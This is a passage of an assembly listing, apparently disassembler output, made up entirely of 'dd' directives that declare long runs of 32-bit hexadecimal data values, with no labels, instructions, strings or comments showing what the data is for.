0D1D4F161h, 7358DA32h, 4E3900B7h, 1B977638h dd 750F5CBAh, 0EF2B3649h, 0BE7405Bh, 9829B4A7h, 0EA3E0087h dd 0BC4FDAB5h, 470006E5h, 202BCBEFh, 1F9004ABh, 8224FC9Dh dd 98898DEAh, 0C9DDC880h, 91005A51h, 77250CF2h, 0A99560h dd 9BC7195Dh, 729F9D2Dh, 8A489700h, 70493616h, 0C19314FAh dd 0A00FF52h, 28FC2AD6h, 2D032F46h, 0A8F5E3C5h, 0E65381FFh dd 94C3DCF3h, 30F7B0E1h, 102E267Dh, 0AA5900BCh, 0EB13CC06h dd 0A172D11Dh, 2807CDEh, 342CFC4h, 4873F0A2h, 0F1003C26h dd 0B61C507h, 0E304EBB2h, 781116DEh, 0AE47B080h, 514E0694h dd 5680BF6Eh, 1B152C00h, 3BEFE421h, 7D703CDDh, 1AE741Eh dd 710CBF0Fh, 0D24C70E2h, 0D7767B00h, 0A3C9119Fh, 0A512008Dh dd 0C4F2DD3Dh, 7C1D5A44h, 646CAE9Ah, 0A72F3C00h, 161D0664h dd 7022D92h, 8069BFC4h, 895B207Bh, 0E5FE0978h, 0C11C6FF2h dd 0FC03ADCh, 9CB22D72h, 1E18754Fh, 4089F5D4h, 1D44E69Ah dd 0AF03DF63h, 6877AD2Ch, 6FF9B832h, 38DE006Dh, 0D5951B84h dd 0B8004EF1h, 5415204Fh, 3CA79B19h, 0EA00D845h, 0E92787FEh dd 694C58BEh, 322400AFh, 4C60032Eh, 79D87C47h, 31F43Ch dd 8F937B8Ah, 34D316C9h, 57745200h, 0DFAC0B76h, 6062FC1Eh dd 9517B8BEh, 0CB0087D0h, 21F8B70Ah, 351FBFh, 0CAC9225Dh dd 0ED86E550h, 54B36200h, 520A4CCEh, 61AD00E9h, 550D913Dh dd 8A000378h, 0FAD64805h, 439515Eh, 1202E432h, 0C0C7C09Bh dd 0FDEAB58Ch, 0C6436400h, 580136Bh, 2E924C96h, 50238900h dd 1B4A2656h, 0C7343B00h, 5A3AD6C2h, 5D9B0107h, 0B00382B4h dd 23C2302Eh, 0BBF7481Eh, 81A4E080h, 16EA0E96h, 0EBBA3F59h dd 0C05710h, 57F4E87Fh, 7F90E43Dh, 8A90A0E1h, 39EC00A9h dd 0BF830B4Bh, 4F008E9Fh, 6A659DD6h, 1DFBE934h, 802D3052h dd 117142BCh, 1000B8F9h, 6245149Fh, 5E8B87h, 0B9CB6C3Eh dd 436A252Ah, 9ADCC704h, 37C364ADh, 0F3FDC852h, 50CE0027h dd 24480F88h, 400712Ch, 3AD3DEEDh, 2BC03Ch, 8039959Ah dd 62794602h, 0A72C5B03h, 0A16A37B0h, 54203CC4h, 0CE1A10D0h dd 6748007Ah, 0D4C6DC3Bh, 988007C2h, 0C3687B38h, 22F02F07h dd 0A4001DBBh, 7643741Eh, 5E770B1h, 0EAF2E527h, 58FC046Dh dd 0F4588845h, 7CA02340h, 35703C4Fh, 3E0D28F2h, 76750098h dd 641CEEEh, 0FA00601Eh, 28CED52h, 1EA3E340h, 40DAA03Ah dd 2788854Ch, 450024C7h, 2081B7BBh, 1808223Dh, 0C848CEBDh dd 0A00A15Dh, 273CB5B8h, 3056BEh, 7E7A7F19h, 0D315F48Eh dd 74BD2B1Dh, 580F349Ch, 4BAD0349h, 8FB800C0h, 0A3414F9Bh dd 5E002833h, 0C8B4703h, 79406A75h, 0BF560084h, 9D8DE7C0h dd 340E0821h, 0AF72245Bh, 5CD667C4h, 0EC705600h, 31741DD1h dd 58E4B0h, 9E9A3B3Ch, 0D4394B65h, 0F3778386h, 0E8C47513h dd 9083FFD8h, 0A36B0034h, 0C88E6CA6h, 1E005CB2h, 72756A66h dd 9BAC40h, 62D3F38h, 61D0D3A4h, 845B9701h, 81DC96E2h dd 73E090E9h, 18189051h, 599BEE22h, 0A43E6445h, 60CC24A0h dd 0F902A282h, 0DE5C485Ch, 9EC20034h, 0CFA4DF53h, 181EC8A5h dd 0EE400226h, 0CE3D8F88h, 91E0213h, 0BD8B3996h, 290F5840h dd 0EC406277h, 0A5B908C0h, 1201440Dh, 0AAA4BC82h, 51CF4h dd 0D8075E4Bh, 0AC96B8E5h, 8614E600h, 0DC3A8706h, 3280B44h dd 4F802E42h, 0DBD08EA4h, 0FA74831Fh, 5F32E041h, 0F440417Bh dd 4915D9F8h, 9280587Ch, 3644E97h, 0EF716100h, 7CDFC731h dd 336701BCh, 0D4E46AE5h, 5C34C090h, 0C287A0C1h, 8ED0EDD9h dd 0EC0C072Ch, 0D086139Dh, 6B49F7C3h, 0C0D2E200h, 0E416F36Fh dd 0E540009Eh, 2895BFA1h, 921CDE8Ch, 1FC16799h, 8FAD192Fh dd 0DF6B489Fh, 98180DFh, 594A5EEBh, 0E2E7DE18h, 54694621h dd 3934CCD6h, 67244137h, 0FD5D00B9h, 64AF9E2Eh, 7ED25702h dd 805AB074h, 0A9760DD8h, 0FD330005h, 0A355CA54h, 3D004142h dd 0A68A9628h, 5816E4h, 5E2305EEh, 0C75A3C59h, 0FADDA1Ch dd 6B1BDC80h, 1886FAC5h, 809E8CB3h, 0B21825EEh, 9811F3AEh dd 8ED0053h, 34FEBE14h, 471688D5h, 5D012D78h, 49B748CAh dd 638D42C2h, 0F589C860h, 0F6FCCEh, 947D87B2h, 0BB1B63C8h dd 3E76D700h, 0A5D27425h, 7BFD7E5Fh, 88930168h, 0B1F3588Ah dd 500BF72Fh, 84B7C5C1h, 0CCC0DDC5h, 2E9D5Ch, 0EA789956h dd 4422C6F5h, 5EA7D4A8h, 75009092h, 0CC7C0F3Ah, 149BD0Dh dd 0D1786AD4h, 818C4A15h, 6CD89AD0h, 0B850B809h, 44C1754h dd 0F2570BB5h, 0B9F481A4h, 0EF01F469h, 0E0586C00h, 0AC2C48EAh dd 0C320676h, 78B8CCA3h, 5A742607h, 0E1A0385Bh, 34777CAh dd 0F9204D5Eh, 6000B767h, 1A39E7A1h, 868AD5h, 2F0C5D89h dd 4393B8E3h, 427ED771h, 70CA8107h, 0C5E0087Ah, 457178h dd 0C9CCEFBFh, 35EB5C17h, 0B6EED800h, 0E1887A5Ah, 9B6E3B86h dd 0B4EC9Ch, 0FD931710h, 64B2490Bh, 835CD900h, 1E023BCBh dd 959C0021h, 40FEF0EDh, 30E5A48Bh, 0D3079FC7h, 87D855A1h dd 0B09CF751h, 0F2B6C4h, 4846164Dh, 0D651E4FBh, 0BF00A4E8h dd 2114CF5Bh, 2C38754h, 45B1AA75h, 888B8C31h, 0C44C1100h dd 0BE13880Ah, 7003E39Ah, 893FD463h, 0A02061D8h, 0DF044877h dd 91702D00h, 5C5E06FAh, 0BE224D01h, 0F3B4AEB5h, 240060h dd 5DC8960Ch, 2051551Ah, 8B712104h, 64803663h, 3FCB5FEh dd 0A5C0243Fh, 0C88AA1BCh, 29ECD8A0h, 6F121E31h, 5800B2B9h dd 0F7E95A1Fh, 899140F6h, 0A00A7B8h, 477FE43Ah, 0B1C18Dh dd 0F9FCC75Eh, 536414A4h, 4ED13400h, 0F555CFC3h, 0D7E11F23h dd 9B5E8FA0h, 41B8ED40h, 0FA008360h, 0C8357DEFh, 572D7Ah dd 318E7F1Eh, 81E3FCCDh, 80ACA33Bh, 0FAA0BABFh, 0EE958CCFh dd 551B00A9h, 163474CEh, 270017BDh, 83A3588Bh, 7510ABh dd 96932FEDh, 1FA413CDh, 8702900h, 7F557354h, 1FA57CBFh dd 404F493Dh, 0AEE94183h, 91F2E565h, 0A2794700h, 4DFE19ECh dd 0A03000ADh, 0DCFB42AAh, 0CF182705h, 58F61B3Eh, 4FF69Dh dd 8133E152h, 14F572EDh, 0DEBB8301h, 8497FD61h, 6FFC9881h dd 6048951Ch, 0F5073A02h, 0F6A69D5h, 799719D0h, 0F4047CB6h dd 0D1533A4Dh, 0ACD9F487h, 9607F16h, 0BFE117E2h, 5A96B500h dd 368E0AD6h, 3C72F60Fh, 68006431h, 0B507CF85h, 4A1D3DB8h dd 1E40E7E9h, 36C10D62h, 0E84439DFh, 0A5E65B80h, 1F1C89C2h dd 24904A00h, 0A8931225h, 97D0EF19h, 2111000Fh, 18AB88EFh dd 0D23DB89Fh, 80BE3030h, 2BE587h, 0CBDD896Dh, 0D40C238Ch dd 0E89B0100h, 0FDC04C10h, 4F58FEC5h, 924EE06Ch, 0C1ADD24h dd 0D9B68700h, 947AD5h, 4A95F518h, 0D29F4593h, 580C623Ah dd 960A0967h, 0AF7E00EAh, 1721D5Bh, 5362CD78h, 0E8A7B143h dd 0EF0065BEh, 5EC1B2B5h, 13C3BBh, 4D1C5363h, 0EA0D9A25h dd 3437DD0Ch, 3A031818h, 0B0837EF2h, 0BB193CBh, 806CB2B9h dd 0DCE508D0h, 394299Fh, 4F51A35Eh, 97E87E3Bh, 4D00EADEh dd 4E72DAEDh, 1806BD8Dh, 0E0C887F5h, 394C18AFh, 0AD09506Bh dd 0C602DD0Eh, 0DCFCC038h, 7D7B194h, 70325DCAh, 0AF2580F9h dd 69005E50h, 0EEBFA0F5h, 840256h, 820EB987h, 59AF2FF4h dd 0F8945B00h, 0D6D3E016h, 69120239h, 0C299926h, 4B0D2960h dd 0D47C6014h, 0A30073A4h, 0E5EB07B9h, 12C07002h, 0FE72F4h dd 2B95D185h, 7848E70Ch dd 68C20944h, 59382018h, 84FC12h, 903F34B1h, 4D6A9CD8h dd 0B32EBB00h, 0A8834619h, 7B100084h, 7A26595Dh, 4200B2EFh dd 0EACB4F9Ah, 7AD5CF0Eh, 972B0582h, 0C65D70h, 2702AD8Ch dd 0C30E29E7h, 0E0FA408Eh, 8D59694Fh, 0C77B38C8h, 0ABB49980h dd 71483DD0h, 1950BD70h, 9601C64Ch, 476366EEh, 72D4F260h dd 44752454h, 0E3410088h, 24AD3357h, 0A9ECB703h, 0C089841Dh dd 56E6C6h, 0F68103BAh, 0C334C8B0h, 246F8200h, 0FA941922h dd 606C03B1h, 0EC1E982Eh, 773CEAC0h, 1A7C0C00h, 40476B6Dh dd 0F8C300FCh, 0E7C8093Eh, 8000BA1Fh, 9FF33DB1h, 721538Bh dd 48E4EDAFh, 22BE609Ah, 6314696Ah, 480C9FEh, 29352553h dd 0C8151AC3h, 1F61EEECh, 0DFFD8F64h, 99DCF0h, 45542E4Ah dd 0A60059C8h, 417724Ch, 2EBD3ADh, 8BB80E6Ah, 97E008CDh dd 0C90010Ch, 5D32D800h, 229A4A16h, 0F53C0087h, 89DC9AEh dd 923EBC0Eh, 0CB6E8019h, 0A8D7C4A1h, 415900E7h, 9DBFE386h dd 492C0AAh, 0FFDEE200h, 0FB410D4h, 0AD3A0005h, 0D0BABDA8h dd 8C00D18Ah, 24D4B9E6h, 0E801403Fh, 0BC7000FAh, 8B928129h dd 0E90037DFh, 3C8567E6h, 0FB684Dh, 1713A8DDh, 7550551Eh dd 0B5062100h, 592D58E8h, 4E78C956h, 0D2F78B8h, 0E4F22E00h dd 3926EC80h, 93703ADh, 0D284E061h, 4C400F90h, 0B229CE13h dd 0D6433804h, 8E859C80h, 82840776h, 8669BA6Ch, 0F500A8BCh dd 0AFF08F04h, 4D33DFE2h, 1400787Ch, 1E59641Dh, 0B21D8AEEh dd 0C41FB2Eh, 0C74F0856h, 90E00970h, 0D639008Fh, 0E67390DEh dd 0D012C2E4h, 0FBC4C6h, 0B3BE8C96h, 0B60008D8h, 294C033Bh dd 7D4E2BDBh, 0B09801C6h, 60A3CFA1h, 19F08157h, 0C728BDC4h dd 745F60h, 2D4E01C1h, 0EE35FF29h, 84000FF8h, 89F49A37h dd 0EEE51656h, 2D803B43h, 11FCFE00h, 28FD6D3Dh, 0EBE9FA00h dd 849EB172h, 0EA8102E0h, 0BB8723FCh, 0F440F40h, 0F616FD13h dd 121A0C00h, 70DB16Ah, 1F3E96FFh, 77707041h, 0BC751CAEh dd 0B8205338h, 54E689C0h, 9A3B80B9h, 5501538h, 770DCA66h dd 939000ECh, 0C2D9B0F3h, 83CFA500h, 9E74A25Bh, 0A9580086h dd 419FB757h, 0E12C954Dh, 7A005151h, 0C98D89CBh, 2ED40034h dd 2C7882D7h, 0F63E8064h, 41308083h, 0E8EC8FF5h, 0AE3200A5h dd 86ABBA3Bh, 5D00141Eh, 0F9655436h, 0FCF14397h, 0BE77005Ah dd 0F4C6701Bh, 0D7009ABFh, 2CC9579Eh, 0EDB5AEh, 276315CEh dd 52BEE17h, 481A4Ch, 722287C5h, 678526A8h, 80124Ch, 675BE70Dh dd 77005DB0h, 57D383E2h, 7022591h, 2E88DDA6h, 68FA50F5h dd 0DC4821EEh, 81CA38F7h, 0A08960A4h, 0F047F664h, 3BAF96E0h dd 8E0C0270h, 1BE7BADEh, 67814857h, 89560753h, 0D0F12236h dd 92D6C3E9h, 370068B0h, 3EB5CB1Eh, 1C80C6F5h, 0C9C15F23h dd 0D01BBA70h, 8C40128Ah, 34E6D817h, 1C8754Ch, 223AE8B8h dd 8C20C041h, 0BCEA050Ah, 81F6A21Bh, 11FB39C4h, 0C8320655h dd 9CD0D200h, 1B52F248h, 0D8895A0h, 20932D00h, 51EC5663h dd 0E4EA2C01h, 421ED8h, 94DFB8ABh, 0BB4C7A21h, 0E0EB7110h dd 54E2D75Fh, 333A5D00h, 2691AC5h, 0B4FEC561h, 0B3D40236h dd 23018828h, 0F9D4F68Bh, 8FBC000Bh, 76E4AD34h, 0E05014E1h dd 0C800AE80h, 0A6245821h, 0F2B29585h, 0A09C00F8h, 9259649h dd 3100F7E1h, 4E479BC9h, 613772h, 0AC85BC32h, 6D973E2h dd 348B2B00h, 0DBC0D2C1h, 0FD1B80C6h, 0B481DD00h, 4A60BFB2h dd 0BD290E27h, 8800FFE8h, 119EEBEDh, 4435F00h, 647B31A0h dd 5C4A1F39h, 0A2EA80ECh, 0FF95027h, 28964104h, 0B9870349h dd 0C502FB02h, 0B84F14D4h, 0E1771480h, 0C00CD82h, 92E398A5h dd 24B39632h, 0CC0836h, 0F02656DAh, 98776DF6h, 94DE8400h dd 0F1E7626Eh, 1D47CEFh, 3C56DF2Bh, 2059F69Ch, 2D00C7B8h dd 0E40E7B0Ah, 0BF5783Bh, 4C97E194h, 597E0100h, 0F1007F40h dd 0E5AD852h, 82E469h, 1F776812h, 0A7EC79EFh, 3739861Fh dd 0FD225B43h, 3518C876h, 8FF40063h, 994BE16Eh, 0C80002BEh dd 0FD7AC564h, 0CD51B9h, 46664D52h, 0C6A1C9Ah, 0DDA15517h dd 92AA9400h, 312CED3h, 0B31416C1h, 53C0BD39h, 240037ABh dd 6B25031Dh, 0E2DA407Bh, 9FF0A2h, 3A189BFFh, 7060A72Fh dd 20245500h, 0F384FBCAh, 386500B5h, 2756E18Fh, 2639449Dh dd 0E5B702A6h, 0E4ACCCA3h, 116E2474h, 713607BAh, 0CB573021h dd 0C20053C9h, 0B1FE5FF4h, 1544A74h, 0BEF804EAh, 0F05BCE76h dd 38728193h, 1903198h, 0C5B94E0Eh, 94D320A8h, 38337AE0h dd 0B50EFA29h, 650152C3h, 70EE678Dh, 4F009112h, 106ABE07h dd 0CD9B5Fh, 659EC862h, 0CF38DEB5h, 8F131D00h, 272A7909h dd 523F0078h, 0F7535D97h, 0F50FF4D8h, 0C3AC2DA4h, 0A8D4393Eh dd 0E85791h, 0D5C5F33Ch, 0D9525583h, 8D0BCD1Eh, 42F25140h dd 3A09DBABh, 0AA00456Eh, 672E8049h, 1B77A1CFh, 70178D75h dd 4000FBC7h, 4D16127h, 38890C3h, 0AA9C25A3h, 0AFAB01F8h dd 35407BEAh, 4A007275h, 1577E746h, 73049Dh, 4593269Eh dd 69781374h, 8D9C0100h, 9DCBD179h, 0FC980049h, 0AC865AADh dd 0BD00AA3Bh, 0B5B2C4DEh, 3EE62CC6h, 44CD160Ah, 7F7AA400h dd 2AA46D5h, 55C1B501h, 0C6A07903h, 7FAE99B8h, 81FC9F50h dd 9D0371CFh, 72A0FBC1h, 7E6106A4h, 0AF4A0A21h, 91D05980h dd 0C72CDC5Fh, 8D185D72h, 6F426DA5h, 0DA4B002Dh, 8C262246h dd 0DB0082A1h, 0B9CE30Dh, 0B8F85C84h, 4AA14C3h, 1F015415h dd 0A4B47D5Dh, 0FE384007h, 540B7B2Fh, 80A2B1F3h, 5F5A5B28h dd 0F8DF1962h, 0E002305Ch, 0EB30D824h, 4447D1C9h, 0D5C08355h dd 0A73DA9E6h, 0D4AA072Dh, 4AF5872Fh, 0E5D91002h, 0CEA780C9h dd 762371h, 2084D198h, 1D8287Dh, 77001578h, 850B2452h dd 5DEB78h, 0FDC67FA5h, 5756CA12h, 191BD3Eh, 0D2B66859h dd 21D03EA1h, 53500C81h, 2B99DD0Bh, 0E0091F4h, 3949887Fh dd 835216h, 9750448Bh, 2D956C87h, 0C7CC3E55h, 222291E2h dd 17A8E886h, 991C00A4h, 91113514h, 0C63D7C56h, 8EA3871Eh dd 9460769Eh, 6321804h, 2588A78h, 400781E2h, 4BA914C6h dd 0DD0EFCE5h, 0E006D299h, 60825Dh, 5CBDFD94h, 919BDB8Ah dd 542B2C00h, 4A524947h, 59670A92h, 4FB4C5D7h, 0D9AFB080h dd 1E782E97h, 626214Ch, 0AB51A1F3h, 94FE29h, 677EB33Ah dd 115A9257h, 2CDE4C00h, 27F9A9D0h, 0FD950022h, 0D8AB6494h dd 5001F70Dh, 0EC6D61CAh, 0D8407584h, 3AFE9D0Ch, 0C785D5BDh dd 2338D794h, 22A45E94h, 0C993208Dh, 373F2CBCh, 64AE800Eh dd 0C6886F8Fh, 75ED0060h, 5F771DF5h, 0D2002073h, 0BE743D84h dd 0E7C24FEh, 125268C4h, 3EB48A80h, 0CD01E8D8h, 0F96630BBh dd 8BC46079h, 5FDF0010h, 6A266291h, 11001376h, 3DF434ACh dd 331453FDh, 0F508A5A6h, 0B3EA2101h, 0F6486E34h, 4E73DE0h dd 3F03965Ch, 0A31075Fh, 69779D80h, 2AD40061h, 379C1017h dd 0EDEBA18Fh, 9113F9FDh, 0A807F78h, 0D3DEE34h, 806BEE8Ch dd 3400B1F8h, 44A394E6h, 2FF7DAh, 0DD68CC09h, 5CEA1D7Ah dd 0EC6A81C0h, 607C3B1Ah, 0EE561177h, 0CE010A63h, 0F58F0566h dd 0A9D004D6h, 9020C008h, 3EF26440h, 95883000h, 680BD0D4h dd 0B10318BBh, 2F55963h, 0AA00B07Ah, 555B0E51h, 182AD3A7h dd 48094A2Fh, 9A00108Fh, 2381A89Eh, 1F55C5Dh, 177CC22h dd 52A1C0F6h dd 0A33E4B8h, 0B53E4BD8h, 410C447Ch, 0B634B8E7h, 7D38B7DCh dd 0E86500DBh, 0ED583BF0h, 0F414201Ah, 1C42356h, 9B5D5ACBh dd 0C9C47479h, 82440E0Bh, 85804D8Bh, 0C1E2EBCDh, 57FC811Fh dd 0D35EDE40h, 0C0BC3429h, 1174A5C2h, 0BF008847h, 5C1AD610h dd 77E25EBh, 0C7D2E25Dh, 0F50F2976h, 3F19AE40h, 5002C1Dh dd 3BCFC5ADh, 76D52B5Eh, 399200E2h, 6AB88415h, 73002ADAh dd 0E9B48EF7h, 0E4E14CD6h, 0ABEF0057h, 78399E1Bh, 100070Bh dd 73372BEEh, 7A6B33F8h, 0BDCA0215h, 44983206h, 0AA1E45E3h dd 0F2414FEAh, 0B0639A47h, 33F9D0h, 99C562A7h, 0B25A343Ch dd 1BFAE318h, 0C04DAC18h, 97327308h, 3C014227h, 0F7B74FDEh dd 0E07A839Ch, 2C00BE57h, 0DFF4C4ECh, 2FEB206Dh, 26D8C863h dd 97261000h, 0B9DE707Eh, 21BE0C14h, 84798E56h, 73AEC71Fh dd 239AD607h, 31668960h, 83720234h, 0B24060BAh, 0AF6D0660h dd 5BEFD400h, 6F26FF86h, 7EDC1F2Ah, 8038C663h, 0C902A956h dd 955AC7E5h, 71F6C00Ch, 122A0025h, 0A65BB2F8h, 0E30D2DFFh dd 300EC390h, 7087ADF0h, 0B1F8CCD0h, 5460AE21h, 5487D51h dd 0E89900EDh, 329DF776h, 0DA1EF430h, 6F404033h, 969B3BF5h dd 4186000Ch, 136A455Ah, 0BFFC0899h, 73E3A900h, 0BC0CB31Fh dd 0AF7BE1h, 0D87F8020h, 0F57E2EDEh, 0AD48C400h, 6759115Bh dd 0BFD73CF9h, 0E413FB00h, 20CDEC40h, 0A3019C03h, 0B812AFDDh dd 2BED2Eh, 0CB07454Ch, 5846474Dh, 0E1A1FC00h, 9A19D5C0h dd 1FCA7317h, 80201E0Bh, 1CEAD4FAh, 0F5002C7Ch, 53DA69C3h dd 179052h, 218048BAh, 0CDEEA203h, 4E514D1Dh, 14882440h dd 0F2822BDBh, 1E807E66h, 0C0C1DAE7h, 0C960A0C4h, 0B403D54Eh dd 11E5010h, 0ED73C0B6h, 838D002Eh, 12C0F5F0h, 5106CCEBh dd 203BBDD5h, 0DC7B2228h, 54089942h, 0E910CA90h, 299D1892h dd 7E898445h, 0E55121E3h, 0BE46C708h, 44361450h, 7D84F1E6h dd 83D8934h, 0CD66208Fh, 22418D22h, 922FA61h, 0EA9C3285h dd 0B911F951h, 29B526EAh, 0C5D9CE00h, 0A486D56Fh, 625B01DEh dd 0C92F240Fh, 799030B9h, 4A345Ch, 5184F00Bh, 0EC50AFh dd 4DB81D6Bh, 929C7A77h, 575AB200h, 4402AD08h, 762778F7h dd 0D11018B1h, 0BA51E18h, 688F6237h, 785C9730h, 31CB0044h dd 0E9F163F4h, 1E7DC10Fh, 0D80FC0B8h, 0E44A81h, 0F726F42Fh dd 0B56907B3h, 235A2D42h, 0C39080E7h, 10168846h, 8E1FF5D0h dd 0D7664C40h, 0C1D89Eh, 8251B04Eh, 0FD8F488Dh, 80333C3Ch dd 4FF64D83h, 0E1A81Eh, 285BCA5Eh, 60A8049h, 89382B01h dd 0F0E633A5h, 70B960h, 7C04CDD1h, 619D782Fh, 33D81B13h dd 0B0364900h, 1D803722h, 40031E51h, 88856CBBh, 0B5003F82h dd 4526789Ah, 1429C7Dh, 7F1A7158h, 0E4C40999h, 65009A2Ch dd 7E4EBEFDh, 79FFEAh, 8D625529h, 6EBF0DFCh, 9C87F300h dd 0AF0A6816h, 8F190CC8h, 8920981Ah, 0CA7B0202h, 8F612BF1h dd 70D31F8Ch, 35300700h, 0A6459Dh, 0E98B69C1h, 6F5192F2h dd 0E53FFB0Eh, 0FFB7E0BDh, 3D874F5h, 40677634h, 0B2A7946Ah dd 84801AE9h, 8078A44h, 0B300D773h, 2BB277C9h, 4AF599h dd 1DB6752h, 0A4E9C00Dh, 36806F01h, 0F318688Dh, 769B040h dd 0DDBD00CCh, 3D9E4A5Ah, 0FA0047D1h, 0C5F41906h, 76BB798Ah dd 8067003Fh, 308666DCh, 0E402CEA6h, 48920742h, 0A8868051h dd 26D3E5h, 0D11D61ECh, 294E3097h, 0EE6A4600h, 5E069690h dd 0CCCA0FBEh, 577D0Ah, 0AB4C2D5Dh, 92285161h, 0EB009071h dd 9F3B036Fh, 0FDF552h, 0C263C366h, 40C69202h, 0F46C5A00h dd 7F1EBD4Ch, 0F04F275h, 0B035BBF6h, 0A0989B01h, 121DE465h dd 3EBDE100h, 0F5E91E0Eh, 3F21F086h, 0F400BBE6h, 5F6240BAh dd 2B050818h, 5C4652D6h, 0C8DD0880h, 0DE4700E5h, 0FE27FC56h dd 0AE007E67h, 2F3472E4h, 0F25CDA23h, 43D900D3h, 2E74252Ch dd 367042BFh, 1E1D0603h, 98DA5F55h, 3C9678h, 6C6A8093h dd 0DEF2EDEFh, 53E85800h, 826823D5h, 487E0377h, 3392C809h dd 883F9DB0h, 0D0305F00h, 34048E76h, 1C0100D3h, 4ACC8DE1h dd 5E017529h, 5CB5AD1Eh, 0A360AC97h, 0E0D30E31h, 0C19C4FF5h dd 0D91AA1DDh, 0BEFE42BDh, 25DE4E60h, 0A31B8201h, 9B915B83h dd 0FC1CE8h, 946B16D7h, 0AE4447B8h, 0A30031F2h, 0E59BDCA6h dd 0BB234Bh, 0CC664F88h, 0F8E12CC2h, 0CA00E775h, 83AFB25Fh dd 0E42318BBh, 5E2D1209h, 0EA7DC2A7h, 0F546A440h, 57734901h dd 0E36E9B0h, 0F633834h, 7A7B0CFBh, 8F5BA082h, 6B21BC80h dd 16030EFDh, 7553EAC3h, 0B2B8A0B6h, 8C20C36Ah, 0F8B85240h dd 0CD01A66Bh, 0EEDE8591h, 1FD881CBh, 0F2BC9089h, 0D76004E5h dd 0C70F6D62h, 0B6191067h, 0CB0E22FBh, 0CF5785A3h, 0F730E0A1h dd 8DC643h, 7431D420h, 53C394F9h, 6BA95600h, 16BB7809h dd 54B835h, 0ED8941E1h, 0F35D0E9Fh, 0E34BE000h, 7DB18188h dd 1CACF28Fh, 0C0ADA603h, 164FBAE4h, 1A00E3F7h, 0E5441BA3h dd 1D6A606Dh, 443BB0F3h, 81470B51h, 0F805BA50h, 0A614E0C6h dd 3DBABCCh, 0E71CFFA1h, 21E0EF66h, 0FDD09Ch, 3961AAEDh dd 0B0D6B385h, 36712B00h, 9D74600Ch, 0A92F006Ah, 0E557271Ah dd 4F091DFAh, 80339738h, 9969717Ch, 0CA66019Bh, 0B9DC9632h dd 7FC3051h, 65EE1B14h, 0CE0E0098h, 5C0DF1B8h, 0ED91266Ah dd 59D900BCh, 0EC4CFE30h, 6638E200h, 0D21819CFh, 4D7EA0h dd 0FAFF21Ah, 7A9558AEh, 0EEBD101Eh, 2A6C25C0h, 26E15BF6h dd 803CF5B2h, 34B8D5CCh, 611F4BB3h, 0A300D270h, 0CB6C44B6h dd 0A9280114h, 0AF17C831h, 0A998192h, 8F2CCF9Ah, 17F73530h dd 55DEF9h, 0C0809E91h, 60F3F373h, 4000B8ACh, 3EB053F8h dd 0D204AFh, 32E91857h, 63E249C3h, 0D0DA7E00h, 3C4486ADh dd 5DF70041h, 1C8CC61Eh, 0C001CC59h, 0F6B402A6h, 81F8E4F3h dd 0F09600DFh, 5C01CBAAh, 4733694Ch, 0E82DD0E6h, 1FE3A599h dd 95560F8h, 4401874Bh, 0F0A4B358h, 0C6E87C50h, 5EFA0900h dd 8EED7820h, 0C0F7025Ch, 0BD150EF6h, 68604862h, 9E744635h dd 1F80A000h, 0FBC3EE5Ch, 1B0F00E4h, 9C85458Ah, 8100A564h dd 7F3BD2D0h, 0EEF87Eh, 6B76835h, 93D19131h, 76E203Dh dd 0CA383C4Ch, 0F2E14990h, 0B251006Ch, 0A25B9854h, 97006475h dd 0AED68928h, 7E67B66Eh, 0C9030006h, 5401A94Ch, 0FD1EA02Ah dd 99C0DD77h, 0CA794A76h, 857D3B17h, 5C0C3B82h, 644865DCh dd 0E8006A6Eh, 49A033D7h, 9278963Dh, 82F61068h, 6DD8001Ah dd 8626EA34h, 0ACA3001Dh, 91973777h, 70F695CFh, 0C5033F01h dd 4F209B31h, 44B6424h, 0ED7DCB3Bh, 0D12CC08Bh, 60000451h dd 0C149B0F5h, 129F8F6h, 81E2F924h, 4043E601h, 911D36C1h dd 5C029870h, 0D697DFAEh, 0A380E057h, 3B7900EEh, 0E4C239A7h dd 0FA006462h, 89E2FD91h, 396CBAADh, 0B9006567h, 720FCD54h dd 404CC8E9h, 34921629h, 0C9ED2C00h, 0E4FFD4h, 16F23577h dd 0D13991D3h, 0AD00B57Dh, 0C07A6998h, 0A35A32h, 81601496h dd 0EDCE1BC1h, 0AA509D1Dh, 3997E9C0h, 378EF7E4h, 0C1A05DE1h dd 300FD580h, 0BB003E98h, 0E71A7F6Ah, 4A210Ch, 9A405F6h dd 0F23A1211h, 47E36E00h, 73AFD9A2h, 0C9CB0039h, 8D787B2Ah dd 4006A57Ah, 5E4CF8B1h, 0B23D04D4h, 82F7235Dh, 0B4E6DEC8h dd 0F4E36804h, 0B180B405h, 0E2BDEEh, 48A29D40h, 0C22DD2CBh dd 8970520Eh, 68F84027h dd 76B0EFh, 0C509A20Bh, 0F92971F0h, 74037AE2h, 3A9011D0h dd 0CC1ED07h, 39D830B3h, 75260B2Ch, 5281A0C9h, 0CAE37F3Dh dd 94F84057h, 81830764h, 1EA27E2h, 0FCA2E0B5h, 7C3F82ACh dd 60922E74h, 61E73F00h, 0ED058Eh, 0C166AF3Ch, 4999D22Dh dd 0CFEC7503h, 80FFD315h, 39EF926Bh, 1A70353h, 1E00AB56h dd 3D14BCC8h, 65111DA8h, 9D0F0B36h, 6DB87400h, 18B8DD56h dd 98D00700h, 0ED9CC547h, 1C8AA0ACh, 1F85001Ah, 417FE88Eh dd 0D007D20h, 0F3E7B848h, 24E40283h, 0F101B1Eh, 3A7CA8FEh dd 5C8D24h, 989FDBE0h, 10C08A78h, 290D41Fh, 966B0082h dd 5A6E3351h, 0BD00A28Dh, 0E50579Ch, 0D8A18Fh, 0D2941FAAh dd 18736755h, 33EAA400h, 43A21560h, 0F666054Dh, 8080C8ACh dd 9919273Bh, 0DD3DA17h, 0EFC303BFh, 94A83FDEh, 0C807D7C2h dd 0E381FF03h, 7A10B770h, 0A6C501DFh, 4E4BF02Bh, 86E820E1h dd 0F4B1F300h, 4A1101ECh, 94852ECDh, 0A888005Dh, 1F8EF920h dd 0A12F8300h, 0AEFF8DEh, 0A05DE0A4h, 3DE2CCh, 2B7769AEh dd 0DB5F09D2h, 0E890767Bh, 94836316h, 988E4C30h, 0B7FC4Dh dd 1D458CD7h, 81AB8634h, 0A58ADE4h, 78041104h, 79EDB200h dd 685A6997h, 1019CB00h, 0F46D2136h, 2B7EA9h, 77FA6189h dd 0F5E39E0Fh, 96A5D900h, 2827F57h, 1C2328F6h, 47B409D0h dd 0D88084D4h, 0F059E078h, 7034EB09h, 42D9001Fh, 7AF797h dd 0B2E5EEFAh, 0AC3C6FFDh, 0ECFA73Fh, 0E00B33DDh, 0CB99D5BCh dd 665800F6h, 